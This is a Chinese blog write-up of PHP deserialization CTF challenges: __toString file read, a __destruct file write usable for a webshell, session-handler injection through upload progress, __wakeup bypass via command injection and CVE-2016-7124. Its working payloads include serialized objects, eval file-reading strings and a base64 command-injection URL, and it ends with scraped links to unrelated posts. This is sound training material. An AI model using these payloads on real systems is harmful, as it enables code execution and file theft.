php反序列化1_常见php序列化的CTF考题
声明:
以下多内容来自暗月师傅我是通过他的教程来学习记录的,如有侵权联系删除。
一道反序列化的CTF题分享_ctf反序列化题目_Mr.95的博客-CSDN博客
一些其他大佬的wp参考:php_反序列化_1 | dayu’s blog (killdayu.com)
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
序列化_toString
1. 序列化简介
本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。
当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
1. __toString介绍
__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法以下说明摘自PHP官方手册
public string __toString ( void )
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
Warning
不能在 __toString() 方法中抛出异常。这么做会导致致命错误。
2 简单示例
<?php
// Declare a simple class
class TestClass
{public $foo;public function __construct($foo) {$this->foo = \$foo;}public function __toString() {return $this->foo;}
}
$class = new TestClass('Hello');
echo $class;
?>
上面我们通过调试就能发现,当echo输出的时候,,会自动调用__toString
3.CTF实例
<?php
Class readme{ public function __toString() { return highlight_file('Readme.txt', true).highlight_file($this->source, true);//高亮显示 }
}
if(isset($_GET['source'])){ $s = new readme(); //实例化一个对象$s->source = __FILE__; //传入当前文件名,根据Readme.txt输出的提示/flag可知这题要做那么传入的文件名应该是'flag'echo $s; //输出当前文件内容exit;
}
//$todos = [];
if(isset($_COOKIE['todos'])){ $c = $_COOKIE['todos']; $h = substr($c, 0, 32); //截取0-32位字符$m = substr($c, 32); //截取32位以后的字符if(md5($m) === $h){ //全等于才会反序列化$todos = unserialize($m); }
}
if(isset($_POST['text'])){ //不过这里我们好像用不到post$todo = $_POST['text']; $todos[] = $todo; //将post获取到的参数赋值给数组,注意如果上面的反序列化通过了这个数组就原本不是空的$m = serialize($todos); //序列化$h = md5($m); setcookie('todos', $h.$m); header('Location: '.$_SERVER['REQUEST_URI']); exit;
}
?>
<html>
<head>
</head> <h1>Readme</h1>
<a href="?source"><h2>Check Code</h2></a>
<ul>
<?php foreach($todos as $todo):?> //遍历取todos赋值给todo<li><?=$todo?></li> //相当于<?php echo $todo?>
<?php endforeach;?>
</ul> <form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store">
</form>
highlight_file() 函数对文件进行语法高亮显示。
PHP 支持一个错误控制运算符:@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
strpos() 函数查找字符串在另一字符串中第一次出现的位置
php中ereg()函数和eregi()函数-字符串对比解析函数
·松散比较:使用两个等号 == 比较,只比较值,不比较类型。
·严格比较:用三个等号 === 比较,除了比较值,也比较类型
setcookie() 函数向客户端发送一个 HTTP cookie
header() 函数向客户端发送原始的 HTTP 报头。
$_SERVER[“REQUEST_URI”]函数:
预定义服务器变量的一种,所有$_SERVER开头的都叫做预定义服务器变量 REQUEST_URI的作用是取得当前URI,也就是除域名外后面的完整的地址路径
$_SERVER[“REQUEST_URI”]函数-CSDN博客
通过上面的注释和分析我们可以知道,post好像用不到了,我们需要构造一段序列化的cookie信息payload,传入让他执行反序列化。
可以发现当执行到这一段的时候会触发_toString方法,而todo的参数已经是被我们改成了反序列化后的参数。
<?php foreach($todos as $todo):?> //遍历取todos赋值给todo<li><?=$todo?></li> //相当于<?php echo $todo?>
<?php endforeach;?>
构造payload的时候通过调试发现必须放到数组里序列化才会成功赋值
下面构造payload:
<?php
Class readme{public function __toString(){return highlight_file('Readme.txt', true).highlight_file($this->source, true);}
}
if(isset($_GET['source'])){$s = new readme();$s->source = 'flag.php';$s=[$s];echo serialize($s)."<br/>";echo md5(serialize($s))."<br/>";echo $s;exit;
}
运算结果:
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
e2d4f7dcc43ee1db7f69e76303d0105c
Array
构造的请求数据包,cookie信息记得一定要对特殊字符url编码一次,才能够读取:
GET /php/demo/toString.php HTTP/1.1Host: 192.168.18.238User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://192.168.18.238/php/demo/toString.php?sourceConnection: closeCookie: todos=e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a{i%3a0%3bO%3a6%3a"readme"%3a1%3a{s%3a6%3a"source"%3bs%3a8%3a"flag.php"%3b}}Upgrade-Insecure-Requests: 1
最后获得flag
反序列化_写shell
例题如下:
<?php
error_reporting(0);//屏蔽错误
if(empty($_GET['code'])) die(show_source(__FILE__));//如果code未被设置就输出当前文件的内容
class example
{var $var='123';function __destruct(){ 当一个对象销毁时被调用$fb = fopen('./php.php','w');fwrite($fb, $this->var);fclose($fb);}
}$class = $_GET['code'];
$class_unser = unserialize($class);
unset($class_unser);
?>
payload如下:
<?phpclass example
{var $var='<?php phpinfo();?>';//可以把这里替换成一句话木马function __destruct(){$fb = fopen('./php.php','w');fwrite($fb, $this->var);fclose($fb);}
}$class = new example();
//$class->var = '<?php phpinfo();?>';
echo serialize($class);
?>
注意一个坑点,就是序列化后的php代码字符串并不会直接显示出来,要右键查看页面源码才是完整的字符串。
O:7:"example":1:{s:3:"var";s:18:"<?php phpinfo();?>";}
此时在我们的网站目录下就会写入一个叫php.php的文件。
php反序列化与session
1.session的三种格式
php_serialize(php=>5.5.4) | 经过serialize()函数序列化数组 |
---|---|
php | 键名+竖线+经过seralize()序列处理的值 |
php_binary | 键名的长度对应ASCII字符+键名+serialize()序列化的值 |
测试代码:
<?php
ini_set('session.serialize_handler','php');
//ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['elven'] = $_GET['elven'];
?>
可以看到如下图,不同的格式有着不同的session格式
php
php_serialize格式a:1:{s:5:"elven";s:3:"123";}
php_binary格式
例题如下index.php,还有一个文件上传页面upload.html:
<?php
ini_set('session.serialize_handler', 'php');//根据上面我们可以了解到这是设置session的格式局部
session_start();//读取服务器上的session文件,如果格式符合会反序列化,否则会清空
class CTF
{public $mdzz;function __construct()//当一个对象创建时被调用{$this->mdzz = 'phpinfo();';}function __destruct()//当一个对象销毁时被调用{eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new CTF();
}
else
{highlight_string(file_get_contents('index.php'));
}?><html>
<head><title>upload</title>
</head>
<body>
<form action="http://192.168.18.240/php/demo/demo3/index.php" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" /><input type="file" name="file" /><input type="submit" />
</form>
</body></html>
条件左边的是局部变量,[以下配置右边的是全局变量可以在配置文件php.ini中设置]
l session.serialize_handler php 局部变量 php_serialize 全局变量
l session.upload_progress.cleanup 默认开启 现关闭
l session.upload_progress.enabled 默认开启
php bug
https://bugs.php.net/bug.php?id=71101
session.upload_progress.enabled On
session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session
原理测试:
在eval执行print_r(scandir(dirname(__FILE__)));
这条命令的时候会以数组的形式输出遍历到的当前路径的文件名。
如果都是在本地服务器上的时候,可以构建如下payload;
<?phpsession_start();
class CTF
{public $mdzz;function __construct(){$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';}function __destruct(){eval($this->mdzz);}
}
$m = new CTF();
echo serialize($m);
$_SESSION['payload'] = serialize($m);
?>
如下足以见得,会产生一个session文件,内容格式是php的:
如果此时访问,index.php是会被清空session的,因为我们生成的session数据是默认走的全局变量的设置的php_serialize,但是代码里设置的局部变量类型是php。
所以巧妙的解决办法是在上图画红线处添加一个 |
符号,就会被是被成php类型的session。前面的变成键名,后面是序列化的值。
改过后访问index.php就会发现,成功被反序列化执行了。
但是,实际情况不会是这样,以上只是测试原理,做题者和服务器环境肯定是分开的。此时就可利用文件上传时候变量名PHP_SESSION_UPLOAD_PROGRESS的特性,也是php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session的骚操作呀!
此时再访问文件上传页面然后,随便上传一个文件,抓包改文件名filename改成上面的|
和序列化的值,注意引号的前面要加上转义字符\
就像这样|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
可以清楚的看到,在服务器里的这个PHPSESSID的session文件里面,被写入了东西,就是我们|
之前的当成了键名,之后当成了值。并在返回信息中成功执行。
但是上面的payload只是遍历文件名。要想输出文件内容,得用这个file_get_contenets读取路径
|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/software/phpstudy_pro/WWW/php/demo/demo3/flag.php\"));\";
以上就是全部内容。
反序列化__wakeup
__wakeup(),执行unserialize()时,先会调用这个函数。
例题如下:index.php 读取目录flag.php,结合了命令执行和字符串绕过和base64编码知识。
<?php
class home{private $method;//私有的变量private $args;function __construct($method, $args) {//实例化就被调用,传入参数$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);//调用指定函数,传入的参数必须是数组}}function ping($host){//执行ping命令,里面有可控的参数system("ping -c 2 $host");}function waf($str){//过滤空格$str=str_replace(' ','',$str);return $str;}function __wakeup(){//反序列化的时候被调用foreach($this->args as $k => $v) {$this->args[$k] = $this->waf(trim(addslashes($v)));//过滤空白符,并转义指定的特殊字符}}
}
$a=@$_GET['a'];
if(empty($a)) die(show_source(__FILE__));
@unserialize(base64_decode($a));//@可以防止输出错误,base64解码了
解题思路
首先构造序列化参数的时候可以控制,让其添加管道命令执行别的命令。比如在windows中就可使用type加文件路径显示文件内容,但是unserialize 反序列化的时候会优先调用__wakeup() 进行空格过滤 $this->waf 调用waf函数把空格过滤是空。这里有一个骚操作就是用制表符Tab键代替空格。但是直接输入可能不行,可以在记事本输入然后复制一下,保证它真的是制表符ASSCII中的\t
才不会被过滤。
构造payload:
<?php
class home{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){if (in_array($this->method, array("ping"))) {call_user_func_array(array($this, $this->method), $this->args);}}function ping($host){system("ping -c 2 $host");}function waf($str){$str=str_replace(' ','',$str);return $str;}function __wakeup(){foreach($this->args as $k => $v) {$this->args[$k] = $this->waf(trim(addslashes($v)));}}
}$c1 =new home('ping',array('127.0.0.1|type D:\software\phpstudy_pro\WWW\php\demo\demo4\flag.php'));
echo base64_encode(serialize($c1));
http://php/demo/demo4/index.php?a=Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czo2NzoiMTI3LjAuMC4xfHR5cGUJRDpcc29mdHdhcmVccGhwc3R1ZHlfcHJvXFdXV1xwaHBcZGVtb1xkZW1vNFxmbGFnLnBocCI7fX0=
就可以成功读取路径下的flag.php了。其实还有一种方法可以做,利用使用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过_wakeup,这也是我们下面要讲的CVE-2016-7124。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
反序列化_CVE-2016-7124
PHP 5.6.25之前版本和7.0.10之前版本的7.x中的xt/standard/va unserializer.c错误地处理了某些无效对象,这使得远程攻击者能够通过精心编制的序列化数据导致(1) 析构函数调用或(2)magic方法调用,造成拒绝服务或可能具有未指明的其他影响。
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7124
序列化格式
Public属性序列化后格式:成员名
Private属性序列化后格式:%00类名%00成员名
Protected属性序列化后的格式:%00*%00成员名
示例代码:
<?phpclass home{public $F1;private $F2;protected $F3;public function __construct($F1,$F2,$F3){$this->F1=$F1;$this->F2=$F2;$this->F3=$F3;}}$c=new home('1','2','3');
$b=serialize($c);
echo $b;
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
结果:
O:4:“home”:3:{s:2:“F1”;s:1:“1”;s:8:"%00home%00F2";s:1:“2”;s:5:"%00*%00F3";s:1:“3”;}
题目:
<?php
error_reporting(0);//规定报告哪个错误。该函数设置当前脚本的错误报告级别。
class sercet{private $file='index.php';//私有变量public function __construct($file){//对象创建时被调用echo "_construct<br>";$this->file=$file;}function __destruct(){//销毁时被调用高亮输出文件内容echo " __destruct<br>";// echo show_source($this->file,true);echo @highlight_file($this->file, true);}function __wakeup(){//反序列化的时候会触发,就会重新初始化变量赋值为,index.php这样永远读取的都是index.phpecho "__wakeup<br>";$this->file='index.php';}
}
if(empty($_GET['val'])) die(show_source(__FILE__));
unserialize($_GET['val']);
解题思路:
只需要构造个序列化对象实例,通过GET传参,但是反序列化触发__wakeup,所以我们要利用CVE-2016-7124,让序列化字符串中表示对象属性个数的值大于真实的属性个数。即可让绕过__wakeup。
构造payload
<?php
error_reporting(0);
class sercet{private $file='index.php';public function __construct($file){echo "_construct<br>";$this->file=$file;}function __destruct(){echo " __destruct<br>";// echo show_source($this->file,true);echo @highlight_file($this->file, true);}function __wakeup(){echo "__wakeup<br>";$this->file='index.php';}
}$c = new sercet('flag.php');
echo serialize($c);
O:6:"sercet":1:{s:12:"sercetfile";s:8:"flag.php";}
修改为:(注意搭建环境时候的版本。切换一下)
O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}
对象属性个数被我们改成了2,而且由于是私有变量序列化输出的%00没有显示出来的时候(查看源码应该能看到),还需要我们输入%00添加上去。
完美!
网鼎杯2020 CTF WEB反序列化解题
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {public $op=2;//由于也2=="2"为真所以应该设置2来绕过==="2"public $filename='D:\software\phpstudy_pro\WWW\php\demo\demo6\flag.php';//$filename="php://filter/convert.base64-encode/resource=D:/phpstudy_pro/WWW/www.test1.com/ctf/demo4/flag.php"//直接写文件名实际会读不出来,只有上面这两种方式好像能读出来。public $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();//如果是"1"那就执行wite函数} else if($this->op == "2") {$res = $this->read();//如果是"2"那就执行read函数$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {//判断参数是否有值传入if(strlen((string)$this->content) > 100) {//设置的参数content不能超过100个字符$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);//把一个字符串写入文件中if($res) $this->output("Successful!");//写入成功输出指定字符串else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);//读取文件}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";//如果是字符串"2",又会给复制成字符串"1"$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//由于%00并不在其中,所以序列化后的字符串不能包含%00,也就是说要把上面的改成弱类型publicreturn false;return true;
}
$a = new FileHandler();
$b = serialize($a);
echo $b;
相关文章:
php反序列化1_常见php序列化的CTF考题
声明: 以下多内容来自暗月师傅我是通过他的教程来学习记录的,如有侵权联系删除。 一道反序列化的CTF题分享_ctf反序列化题目_Mr.95的博客-CSDN博客 一些其他大佬的wp参考:php_反序列化_1 | dayu’s blog (killdayu.com) 序列化一个对象将…...
LabVIEW动态显示控件方案
在LabVIEW开发中,涉及到动态显示和控制界面的设计时,经常需要根据用户选择的不同参数来动态显示或隐藏相关控件。例如,某些能可能会根据“Type”控件的不同选择显示不同的参数,如“Target”、“Duration”和“EndType”等。在一个…...
游戏引擎学习第22天
移除 DllMain() 并成功重新编译 以下是对内容的详细复述与总结: 问题和解决方案: 在编译过程中遇到了一些问题,特别是如何告知编译器不要退出程序,而是继续处理。问题的根源在于编译过程中传递给链接器的参数设置不正确。原本尝试…...
GitLab|GitLab报错:PG::ConnectionBad: could not connect to server...
错误信息: PG::ConnectionBad: could not connect to server: No such file or directory Is the server running locally and accepting connections on Unix domain socket "/var/opt/gitlab/postgresql/.s.PGSQL.5432"? /opt/gitlab/embedded/service…...
Ray 和 PyTorch
Ray 和 PyTorch 的介绍 Ray 是什么? Ray 是一个用于 分布式计算和机器学习任务 的开源框架,提供了一个高效的、灵活的并行计算平台。它的核心功能是支持分布式计算,帮助开发者以简单的方式扩展 Python 应用程序。 Ray 适用于以下场景&…...
Qt之详解QLockFile 文件锁
文章目录 QLockFile 详解前言什么是 QLockFile?QLockFile 的构造函数和常用成员函数构造函数1. 指定锁文件路径的构造函数 常用成员函数1. lock2. unlock3. isLocked4. setStaleLockTime5. getLockInfo6. removeStaleLock 完整示例代码总结 QLockFile 详解 前言 在…...
从0开始学PHP面向对象内容之常用设计模式(组合,外观,代理)
二、结构型设计模式 4、组合模式(Composite) 组合模式(Composite Pattern)是一种结构型设计模式,它将对象组合成树形结构以表示”部分–整体“的层次结构。通过组合模式,客户端可以以一致的方式处理单个对…...
机械设计学习资料
免费送大家学习资源,已整理好,仅供学习 下载网址: https://www.zzhlszk.com/?qZ02-%E6%9C%BA%E6%A2%B0%E8%AE%BE%E8%AE%A1%E8%A7%84%E8%8C%83SOP.zip...
论文笔记3-XCube: Large-Scale 3D Generative Modeling using Sparse Voxel Hierarchies
目录 Abtract 相关工作 核心算法: 整体流程概述 具体流程解析 1. 输入(Input) 2. 稀疏结构 VAE(Sparse Structure VAE) 3.分层体素潜在扩散(Hierarchical Voxel Latent Diffusion)…...
【组件】前端ElementUi 下拉Tree树形组件 带模糊搜索自动展开高亮功能
【组件】前端ElementUi 下拉Tree树形组件 带模糊搜索自动展开高亮功能 https://live.csdn.net/v/435737 <template><div><el-popoverstyle"overflow-y: auto; "placement"bottom"trigger"click"><el-inputstyle"margi…...
诠视科技受邀出席“中国虚拟现实产学研大会”
2024年11月2-3日,由中国虚拟现实技术与产业创新平台举办的第十届“中国虚拟现实产学研大会” 在北京顺利召开,大会围绕“虚拟现实技术与产业创新融合”这一主题进行深入探讨。诠视科技作为虚拟现实产业的创新领军企业,CEO林瓊受邀参加本次活动…...
【达梦数据库】授权查询
目录 授权查询EXPIRED_DATECLUSTER_TYPE 更换原则更换方法 授权查询 select * from v$license;EXPIRED_DATE 过期日期,如果是正式版会显示NULL CLUSTER_TYPE 授权使用的集群类型CLUSTER_TYPE,格式为字符串“XXXX”, 每一位上 0 表示禁止…...
探索 ZED 双目 3D 相机发展:ZED 2i 的创新功能扩展之路
在科技迅速发展的当下,3D 视觉技术在众多领域的发展中有着重要作用。Stereolabs 公司研发的 ZED 相机受到广泛关注。Stereolabs 于 2010 年在美国旧金山成立,一直专注于立体视觉和 3D 深度相机技术的研究。2015 年推出的 ZED 相机为无人机、机器人等设备…...
基于卷积神经网络的白菜病虫害识别与防治系统,resnet50,mobilenet模型【pytorch框架+python源码】
更多目标检测和图像分类识别项目可看我主页其他文章 功能演示: 白菜病虫害识别与防治系统,卷积神经网络,resnet50,mobilenet【pytorch框架,python源码】_哔哩哔哩_bilibili (一)简介 基于卷…...
计算机网络 | 7.网络安全
1.网络安全问题概述 (1)计算机网络面临的安全性威胁 <1>计算机网络面临的完全性威胁 计算机网络面临的两大类安全威胁:被动攻击和主动攻击 被动攻击 截获:从网络上窃听他人的通信内容。主动攻击 篡改:故意篡改…...
Opencv+ROS自编相机驱动
目录 一、工具 二、原理 代码 标定 三、总结 参考: 一、工具 opencv2ros ubuntu18.04 usb摄像头 二、原理 这里模仿usb_cam功能包对Opencv_ros进行修饰,加上相机参数和相机状态,难点在于相机参数的读取。 对于相机参数话题 camera…...
js---函数参数是值传递还是引用传递
理解1:都是值(基本/地址值)传递 理解2:可能是值传递,也可能是引用传递(地址值) 在JavaScript中,函数参数的传递方式取决于参数的类型: 值传递(Pass by Val…...
如何解决DDoS导致服务器宕机?
分布式拒绝服务攻击(DDoS攻击)是一种常见的网络安全威胁,通过大量恶意流量使目标服务器无法提供正常服务。DDoS攻击可能导致服务器宕机,严重影响业务的正常运行。本文将详细介绍如何检测和防御DDoS攻击,防止服务器宕机…...
临床检验项目指标学习笔记
声明: 家有病人,记录此学习笔记仅为了更好照顾家人。本文不负责内容的准确性和版权。如果存在侵权、或不希望被转载的媒体或个人可与我们联系,我将立即进行删除处理。 血脂四项 [Q&A] 血脂四项 指导意义 测定血清中血脂含量,…...
代码管理之Gitlab
文章目录 Git基础概述场景本地修改未提交,拉取远程代码修改提交本地,远程已有新提交 GitIDEA引入Git拉取仓库代码最后位置 Git基础 概述 workspace 工作区:本地电脑上看到的目录; repository 本地仓库:就是工作区中隐…...
秒杀系统三层架构设计:缓存、消息队列与数据库
秒杀是一种极端高并发场景,短时间内数百万用户涌入,抢购有限库存的商品。为了保证系统稳定性和数据一致性,同时提升用户体验,我们可以设计一个三层架构:缓存层、消息队列层、数据库层。本文将详细设计这一架构并探讨其…...
tauri2.0版本开发苹果ios和安卓android应用,环境搭建和最后编译为apk
官网链接:What is Tauri? | Tauri 初始准备 rust版本一定要1.77.2以上的版本,查看版本和升级版本: 升级命名: rustup update 不然会报错: error: package tauri-plugin-shell v2.0.2 cannot be built because it r…...
SCI论文部分题目
SC20243213 通过氢和氨集成增强Power-to-X灵活性和可持续成本降低:绿色实验室Skive案例研究 SC20243211 分析同时发电的综合系统中的能量和能量效率、环境影响和经济可行性,淡水、热水和天然气凝液 SC20243208 双燃料生物质-天然气系统中的氢、…...
使用PyTorch在AMD GPU上进行INT8量化实现精简化的LLM推理
Leaner LLM Inference with INT8 Quantization on AMD GPUs using PyTorch — ROCm Blogs 随着大型语言模型(LLMs)规模达到数千亿参数,我们在这些庞大模型中表示数据的方式极大地影响了训练所需的资源(例如,用于推理的…...
Solon 拉取 maven 包很慢或拉不了,怎么办?
注意:如果在 IDEA 设置里指定了 settings.xml,下面两个方案可能会失效。(或者直接拿 "腾讯" 的镜像仓库地址,按自己的习惯配置) 1、可以在项目的 pom.xml 添加 "腾讯" 的镜像仓库 "阿里&qu…...
spring的事务隔离?
在Spring中,事务的隔离级别是指在多事务并发执行时,事务之间的隔离程度,隔离级别定义了一个事务可以看到另一个事务的哪些数据,Spring事务管理器允许通过Transactional注解或者xml配置来指定事务的隔离级别。 事务的隔离级别有以…...
13 —— 开发环境调错-source map
问题:代码被压缩后,无法正确定位源代码的位置(行数和列数) source map:准确追踪error和warning在原始代码的位置 —— webpack.config.js配置devtool选项 module.exports { devtool: inline-source-map }; inline-s…...
【大数据分析深度学习】在Hadoop上实现分布式深度学习
【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈智能大数据分析 ⌋ ⌋ ⌋ 智能大数据分析是指利用先进的技术和算法对大规模数据进行深入分析和挖掘,以提取有价值的信息和洞察。它结合了大数据技术、人工智能(AI)、机器学习(ML&a…...
【Linux探索学习】第十六弹——进程地址空间:深入解析操作系统中的进程地址空间
Linux学习笔记: https://blog.csdn.net/2301_80220607/category_12805278.html?spm1001.2014.3001.5482 前言: 进程地址空间是操作系统进程管理的重要概念之一,它定义了进程在执行时所能访问的内存布局。理解进程地址空间不仅有助于掌握操…...
【数据结构与算法】相交链表、环形链表(判断是否有环)、环形链表(返回入环节点)
主页:HABUO🍁主页:HABUO 🍁如果再也不能见到你,祝你早安,午安,晚安🍁 1.相交链表 题目:给你两个单链表的头节点 headA 和 headB ,请你找出并返回两个单链表…...
hubuctf-2024校赛-复现wp
web easyweb1 <?php error_reporting(0); highlight_file(__FILE__);$flag getenv("GZCTF_FLAG");if(isset($_GET[num])){$num $_GET[num];if(preg_match("/[0-9]/", $num)){die("You are failed.");}if(intval($num)){echo $flag;} } 利…...
.NET Core发布网站报错 HTTP Error 500.31
报错如图: 解决办法: 打开任务管理器》》服务》》找到这仨服务,右键启动即可,如果已经启动了就重启:...
RTSP摄像头、播放器为什么需要支持H.265?
H.264还是H.265? 好多开发者在做选RTSP播放器的时候,经常问我们的问题是,用H.264好还是H.265好?本文我们就H.264 和 H.265的主要区别和适用场景,做个大概的交流。 一、压缩效率 H.265 更高的压缩比 H.265 在相同视频…...
brynet源码阅读——解决文件描述符耗尽问题mIdle
1、背景 在高并发服务器程序中,文件描述符资源是有限的。当一个程序同时处理多个网络连接时,每个连接都会占用一个文件描述符。如果系统没有足够的文件描述符可用,调用 accept()(用于接收新的连接)或其他文件操作时可…...
学习Zookeeper
Zookeeper有手就行 1. 初识ZooKeeper1.1 安装ZooKeeper1.2 ZooKeeper命令操作1.2.1 Zookeeper数据模型1.2.2 Zookeeper 服务端常用命令1.2.3 Zookeeper客户端常用命令 2. ZooKeeperJavaAPl操作2.1 Curator介绍2.2 CuratorAPI常用操作2.2.0 引入Curator支持2.2.1 建立连接2.2.2 …...
css效果
css炫彩流光圆环效果 <!DOCTYPE html> <html><head><meta charset"utf-8" /><title></title><style>*{margin: 0;padding: 0;}body{width: 100%;height: 100vh;}.container{position: relative;width: 100%;height: 100vh…...
【Python爬虫五十个小案例】爬取豆瓣电影Top250
博客主页:小馒头学python 本文专栏: Python爬虫五十个小案例 专栏简介:分享五十个Python爬虫小案例 🪲前言 在这篇博客中,我们将学习如何使用Python爬取豆瓣电影Top250的数据。我们将使用requests库来发送HTTP请求,…...
「Mac玩转仓颉内测版25」基础篇5 - 布尔类型详解
本篇将介绍 Cangjie 中的布尔类型,包括布尔值的定义、运算操作符、逻辑运算、布尔类型的常见应用场景及其在条件判断中的应用,帮助开发者理解和使用布尔类型。 关键词 布尔类型定义布尔运算逻辑运算符条件判断常见应用场景 一、布尔类型概述 布尔类型&…...
electron主进程和渲染进程之间的通信
主进程 (main.js) const { app, BrowserWindow, ipcMain } require("electron"); const path require("node:path"); // 导入fs模块 const fs require("fs");const createWindow () > {const win new BrowserWindow({width: 800,height…...
在 Spring Boot 中实现多种方式登录(用户名、手机号、邮箱等)的不正经指南
欢迎来到一场技术与幽默交织的冒险!今天,我们将跳进 Spring Boot 的世界,探索如何通过 用户名、手机号、邮箱 等多种方式实现登录。想象一下,用户在登录时可以随心所欲地选择——就像你今天早上纠结到底是要喝美式咖啡还是拿铁&am…...
JVM标量替换
JVM标量替换 简单来说 JVM 中的标量替换是一种编译优化技术,将未逃逸对象拆解成不能再分,标量在栈帧或寄存器中分配使用。将对象拆解后直接使用标量,不但避免了完整对象的创建和后续回收流程,而且能更快地获取和操作相应的数据&…...
Python深度学习框架:PyTorch、Keras、Scikit-learn、TensorFlow如何使用?学会轻松玩转AI!
前言 我们先简单了解一下PyTorch、Keras、Scikit-learn和TensorFlow都是什么。 想象一下你要盖一座大房子。你需要砖头、水泥、工具等等,对吧?机器学习也是一样,需要一些工具来帮忙。PyTorch、Keras、Scikit-learn和TensorFlow就是四种不同的…...
C语言蓝桥杯组题目
系列文章目录 文章目录 系列文章目录前言题目第一题.1, 2, 3, 4 能组成多少个互不相同且无重复数字的三位数?都是多少?思路 第二题: 一个整数,它加上100后是一个完全平方数,再加上168又是一个完全平方数,请问该数是多少…...
用Matlab和SIMULINK实现DPCM仿真和双边带调幅系统仿真
1、使用SIMULINK或Matlab实现DPCM仿真 1.1 DPCM原理 差分脉冲编码调制,简称DPCM,主要用于将模拟信号转换为数字信号,同时减少数据的冗余度以实现数据压缩。在DPCM中,信号的每个抽样值不是独立编码的,而是通过预测前一…...
真实网络安全面试场景题
1.公司内部搭建了2台DNS服务器做主辅同步,公司的业务官网地址为 www.chinaddic.com。小明作为网络管理员把域名添加至DNS服务器进行测试。 问题1:使用自己电脑可以正常访问刚添加的域名,但处于同样网络环境同事电脑却访问不了。 出现此问题原因…...
速盾:ddos防御手段哪种比较好?高防cdn怎么样?
DDoS(分布式拒绝服务)攻击是一种威胁网络安全的常见攻击手段。为了保护网站和服务器免受DDoS攻击的影响,许多安全专家和公司开发了各种防御手段。在这篇文章中,我们将重点讨论一种常见的DDoS防御手段——高防CDN(内容分…...
【ArcGISPro】Sentinel-2数据处理
错误 默认拉进去只组织了4个波段,但是实际有12个波段 解决方案 数据下载 Sentinel-2 数据下载-CSDN博客 数据处理 数据查看 创建镶嵌数据集 在数据管理工具箱中找到创建镶嵌数据集...
【适配】屏幕拖拽-滑动手感在不同分辨率下的机型适配
接到一个需求是类似下图的3D多房间视角,需要拖拽屏幕 问题 在做这种屏幕拖拽的时候发现,需要拖拽起来有跟手的感觉,会存在不同分辨率机型的适配问题。 即:美术调整好了机型1的手感,能做到手指按下顶层地板上下挪动&…...
谷粒商城-消息队列Rabbitmq
RabbitMq参考文档 在谷粒商城项目中使用消息队列主要有以下几个重要原因: 异步处理提高性能 场景示例:在订单系统中,当用户提交订单后,系统需要完成多个操作,如更新库存、生成订单记录、发送订单通知等。如果这些操作…...
python-爬虫入门指南
前言:由于个人负责的运维组,其中有个同事每回在某个项目发版更新后,需手动在k8s容器平台web界面上复制出几百个微服务的名称以及镜像版本等信息,用来更新微服务清单,个人决定抽时间写个爬虫脚本自动完成手动执行的任务…...